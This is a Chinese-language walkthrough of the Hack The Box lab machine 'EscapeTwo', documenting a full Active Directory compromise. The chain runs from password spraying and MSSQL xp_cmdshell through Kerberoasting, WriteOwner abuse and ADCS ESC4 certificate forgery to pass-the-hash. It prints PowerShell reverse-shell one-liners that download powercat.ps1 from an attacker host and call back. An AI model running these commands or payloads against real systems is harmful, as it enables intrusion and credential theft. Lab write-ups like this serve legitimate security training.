HTB-EscapeTwo

一、初始侦察与立足点获取

1.1 端口扫描与服务识别

首先,对目标主机 10.10.11.51 进行全端口扫描。

sudo nmap 10.10.11.51 -p- --min-rate=5000 -A


图1: Nmap 扫描结果显示多个开放端口,包括 88 (Kerberos), 445 (SMB), 5985 (WinRM) 和 1433 (MSSQL)

扫描结果表明,目标主机开放了多个与域环境相关的端口(如 88, 445, 5985),初步判断其可能是一台域控制器。同时,1433 端口的开放指示了 SQL Server 服务的运行。

1.2 SMB 枚举与初始凭证利用

靶机提供了初始凭证 rose/KxEPkKe6R8su。我们首先利用此凭证对 SMB 共享进行枚举。

nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --shares


图2: nxc (NetExec) 枚举 SMB 共享结果,Accounting Department 目录较为可疑

在枚举到的共享中,Accounting Department 目录引起了注意。

1.3 文件搜集与凭证发现

我们使用 smbclient 访问该特殊目录,并下载了其中的所有文件。

smbclient -p 445 //10.10.11.51/'Accounting Department' -U rose --password=KxEPkKe6R8su


图3: 使用 smbclient 访问共享并下载文件

下载的文件中包含两个 Excel 文件。经过检查,在 accounts.xlsx 文件内发现了四组新的凭证:

angela		0fwz7Q4mSpurIt99
oscar		86LxLBMgEWaKUnBG
kevin		Md9Wlq1E5bZnVDVo
sa			MSSQLP@ssw0rd!


图4: accounts.xlsx 中发现的凭证信息

1.4 域用户枚举与凭证验证

为了确认新发现凭证的有效性及所属用户是否为域用户,我们使用初始凭证 rose 通过 LDAP 枚举域内用户。

nxc ldap 10.10.11.51 -u rose -p KxEPkKe6R8su --users

枚举到的域用户列表如下:

Administrator
michael
ryan
oscar
sql_svc
rose
ca_svc


图5: LDAP 枚举获取的域用户列表

对比后发现,在 Excel 文件中找到的四个用户中,只有 oscar 是域内用户。

1.5 密码喷洒

我们将已知的域用户列表和从 Excel 文件中收集到的所有密码分别存入 users.txtpasswords.txt,然后对 SMB 服务进行密码喷洒攻击。

nxc smb 10.10.11.51 -u users.txt -p passwords.txt --continue-on-success


图6: 密码喷洒成功命中 oscar 用户

密码喷洒成功验证了 oscar/86LxLBMgEWaKUnBG 这组凭证的有效性。随后,使用 oscar 的凭证再次枚举 SMB 共享,未发现新的有用信息。

nxc smb 10.10.11.51 -u oscar -p 86LxLBMgEWaKUnBG --shares


图7: 枚举 oscar 用户的 SMB 共享,无新发现

二、利用 SQL Server 实现命令执行

2.1 sa 凭证登录 MSSQL

回想起之前在 accounts.xlsx 中发现的另一组重要凭证 sa/MSSQLP@ssw0rd!sa (System Administrator) 是 MSSQL 中的最高权限登录账号。我们尝试使用此凭证(不通过域认证,即本地认证)登录 MSSQL 服务。

impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@10.10.11.51


图8: 使用 sa 凭证成功登录 MSSQL 数据库

2.2 通过 NetExec 执行命令获取 Shell

目标是通过 MSSQL 服务执行命令以获取反向 Shell。netexec (nxc) 提供了一种相对简便的方法,可以直接使用 -X 参数执行 PowerShell 命令。该命令会远程加载 powercat.ps1 脚本并执行回连操作。

nxc mssql 10.10.11.51 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -X 'IEX(New-Object System.Net.Webclient).DownloadString("http://10.10.14.16/powercat.ps1");powercat -c 10.10.14.16 -p 53 -e powershell'


图9: 使用 nxc 通过 MSSQL 执行命令,获取反向 Shell


图10: 成功获取到 sql_svc 用户的 Shell 权限

2.3 (可选方案) 通过 xp_cmdshell 执行命令

另一种实现命令执行的方式是手动启用 xp_cmdshell 再执行命令,原理和 netexec 一样,只是 netexec 自动化实现了。在通过 impacket-mssqlclient 连接到数据库后,执行以下 SQL 命令:

-- 显示高级配置选项
EXEC sp_configure 'show advanced options', 1;
-- 重新配置以应用更改
RECONFIGURE;
-- 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
-- 重新配置以应用更改
RECONFIGURE;
-- 执行测试命令
EXECUTE xp_cmdshell 'whoami';


图11: 成功启用 xp_cmdshell 并执行 whoami,确认用户为 sql_svc

确认 xp_cmdshell 可用后,即可通过它执行 PowerShell 命令来获取反向 Shell:

xp_cmdshell powershell -c "IEX(New-Object System.Net.Webclient).DownloadString(\"http://10.10.14.16/powercat.ps1\");powercat -c 10.10.14.16 -p 53 -e powershell"


图12: 利用 xp_cmdshell 成功获取 sql_svc 的反向 Shell

三、权限提升与横向移动

3.1 sql_svc 凭证泄露

在获取的 sql_svc 用户 Shell 中进行信息收集,发现了一个名为 sql-Configuration.INI 的 MSSQL 配置文件。该文件泄露了 sql_svc 用户的明文密码:WqSZAF6CysDQbGb3


图13: sql-Configuration.INI 文件中泄露的 sql_svc 密码

3.2 再次密码喷洒,获取 ryan 权限

利用新获取的 sql_svc 密码 (WqSZAF6CysDQbGb3),对先前枚举出的域用户列表 (users.txt) 进行又一轮密码喷洒。

nxc smb 10.10.11.51 -u users.txt -p WqSZAF6CysDQbGb3 --continue-on-success


图14: 使用新密码进行喷洒,成功命中 ryan 用户

这次密码喷洒成功命中了用户 ryan

3.3 WinRM 访问与 Kerberos 攻击尝试

通过 WinRM (端口 5985) 进行登录 ryan 成功了,该用户应该是在远程管理组内。

# 使用 nxc 验证 WinRM 访问
nxc winrm 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
# 使用 evil-winrm 获取交互式 Shell
evil-winrm -u ryan -p WqSZAF6CysDQbGb3 -i 10.10.11.51


图15: 成功通过 WinRM 以 ryan 用户身份登录

ryan 用户的会话中进行了进一步的信息收集,但未立即发现新的突破口。随后,尝试了常见的 Kerberos 相关攻击,如 AS-REP Roasting 和 Kerberoasting。

impacket-GetNPUsers -dc-ip 10.10.11.51 -request -outputfile hashes.asreproast sequel.htb/ryan:WqSZAF6CysDQbGb3
impacket-GetUserSPNs -request -dc-ip 10.10.11.51 -outputfile hashes.kerberoast sequel.htb/ryan:WqSZAF6CysDQbGb3


图16: Kerberoasting 成功获取到 sql_svcca_svc 的 TGS 哈希

AS-REP Roasting 未发现可利用账户。Kerberoasting 成功获取了 sql_svcca_svc 用户的 TGS 服务票据哈希。由于 sql_svc 的密码已知,我们尝试使用 hashcat 离线破解 ca_svc 的 TGS 哈希,但未能成功。

hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force


图17: hashcat 破解 ca_svc TGS 哈希尝试未果

四、深入域渗透:BloodHound 与 ADCS 攻击

在常规枚举(如共享目录、ADCS 等)未取得新突破后,决定使用 BloodHound 进行更深入的域内权限关系分析。

4.1 BloodHound 数据收集与分析

使用 bloodhound-ce-python 收集域信息,并将数据上传至 BloodHound Web 平台进行分析。

bloodhound-ce-python -c all -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 -ns 10.10.11.51 -dc dc01.sequel.htb --zip


图18: 使用 bloodhound-ce-python 收集域信息

BloodHound 的分析结果揭示了一个关键信息:用户 ryanca_svc 用户对象拥有 WriteOwner 权限。


图19: BloodHound 显示 ryanca_svc 拥有 WriteOwner 权限

WriteOwner 权限意味着 ryan 可以将自身设置为 ca_svc 的所有者,从而间接控制该用户。ca_svc 这个用户名强烈暗示其与证书服务 (ADCS) 相关,这为我们指明了下一步的攻击方向。

4.2 利用 WriteOwner 控制 ca_svc 用户

利用已发现的 WriteOwner 权限,通过以下三步操作来完全控制 ca_svc 用户:

  1. 设置所有者:使用 impacket-ownereditryan 设置为 ca_svc 的所有者。
  2. 赋予重置密码权限:使用 impacket-dacledit 赋予 ryan(作为新的所有者)对 ca_svc 的密码重置权限。
  3. 重置密码:使用 bloodyADca_svc 的密码重置为一个已知值,例如 summer123
# 1. 设置 ryan 为 ca_svc 的所有者
impacket-owneredit -dc-ip 10.10.11.51 -action write -new-owner ryan -target ca_svc sequel/ryan:WqSZAF6CysDQbGb3

# 2. 赋予 ryan 重置 ca_svc 密码的权限
impacket-dacledit -dc-ip 10.10.11.51 -action write -rights ResetPassword -principal ryan -target ca_svc sequel/ryan:WqSZAF6CysDQbGb3

# 3. 将 ca_svc 的密码重置为 summer123
bloodyAD -u 'ryan' -p 'WqSZAF6CysDQbGb3' -d sequel.htb --host 10.10.11.51 set password 'ca_svc' 'summer123'


图20: 成功执行上述命令,控制 ca_svc 用户并重置其密码

上述操作成功后,我们获得了 ca_svc 用户的控制权 (ca_svc/summer123)。

4.3 ADCS ESC4 漏洞利用

现在我们拥有 ca_svc 用户的凭据,重点检查 ADCS 配置,寻找可利用的漏洞。使用 certipy-ad 进行探测。

certipy-ad find -u 'ca_svc@sequel.htb' -p 'summer123' -dc-ip 10.10.11.51 -vulnerable -enabled -text


图21: certipy-ad 发现存在 ESC4 漏洞,与 DunderMifflinAuthentication 模板相关

结果显示存在一个 ESC4 漏洞,与名为 DunderMifflinAuthentication 的证书模板相关。ESC4 漏洞允许对证书模板拥有写入权限(WriteDACL, WriteProperty, WriteOwner 等)的用户修改模板配置,使其允许任意用户(通常是攻击者控制的用户)代表其他用户(如域管理员)申请证书。利用方法可参考 Privilege Escalation - ESC4

攻击步骤如下:

  1. 修改模板配置:利用 ca_svc 的权限,将 DunderMifflinAuthentication 模板修改为易受攻击的配置。

    # Certipy 的 template 命令带有 -write-default-configuration 选项,可以方便地将目标模板自动重新配置为已知的类似 ESC1 的易受攻击状态。
    certipy-ad template -u 'ca_svc@sequel.htb' -p 'summer123' -dc-ip '10.10.11.51' -template 'DunderMifflinAuthentication' -write-default-configuration
    


    图22: 修改 DunderMifflinAuthentication 模板配置

  2. 为 Administrator 申请证书:利用修改后的模板,以 ca_svc 的身份为 administrator 用户申请证书。通过在证书请求中指定 administrator@sequel.htb 作为用户主体名 (UPN) 。

    certipy-ad req -u 'ca_svc@sequel.htb' -p 'summer123' -dc-ip '10.10.11.51' -ca 'sequel-DC01-CA' -target 'DC01.sequel.htb' -template 'DunderMifflinAuthentication' -upn 'administrator@sequel.htb' -debug
    


    图23: 成功为 administrator 申请到证书,并保存为 administrator.pfx

  3. 使用证书进行身份验证:利用获取到的 administrator.pfx 证书进行 Kerberos PKINIT 身份验证,从而获取 administrator 用户的 NTLM 哈希。

    certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    


    图24: 通过证书认证,成功获取 administrator 用户的 NTLM 哈希 7a8d4e04986afa8ed4060f75e5a0b3ff

五、获取域控权限

5.1 Pass-the-Hash 登录域控

最后,利用获取到的 Administrator NTLM 哈希 (7a8d4e04986afa8ed4060f75e5a0b3ff),通过 impacket-psexec 工具执行 Pass-the-Hash (PtH) 攻击,成功以 Administrator 身份登录域控制器 10.10.11.51,获得 SYSTEM 权限。

impacket-psexec -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff Administrator@10.10.11.51


图25: 使用 psexec 和 Administrator 的 NTLM 哈希,成功获取域控的 SYSTEM 权限


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值